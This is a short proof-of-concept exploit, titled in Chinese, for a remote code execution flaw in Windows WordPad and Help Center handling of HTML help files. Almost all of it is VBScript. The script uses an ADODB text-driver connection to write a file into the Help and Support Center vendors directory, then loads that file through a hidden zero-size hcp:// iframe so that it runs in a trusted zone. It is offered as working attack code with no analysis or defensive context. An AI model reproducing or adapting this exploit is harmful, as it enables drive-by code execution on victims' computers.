Windows写字板HTML帮助文件处理远程代码执行漏洞

                                                On Error Resume Next
Set a = CreateObject("ADODB.Connection")

 b  = ("Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=\\127.0.0.1\C$\;Persist Security Info=False;") 

 a.Open  b
 set rs =CreateObject("ADODB.Recordset")
 rs.Open "SELECT * from liscker.txt", a
 rs.Save "C:\windows\pchealth\helpctr\vendors\CN=Microsoft Corporation,L=Redmond,S=Washington,C=US\bugrep.htm"
 rs.close
document.write "<iframe src=hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/bugrep.htm height=0 width=0></iframe>"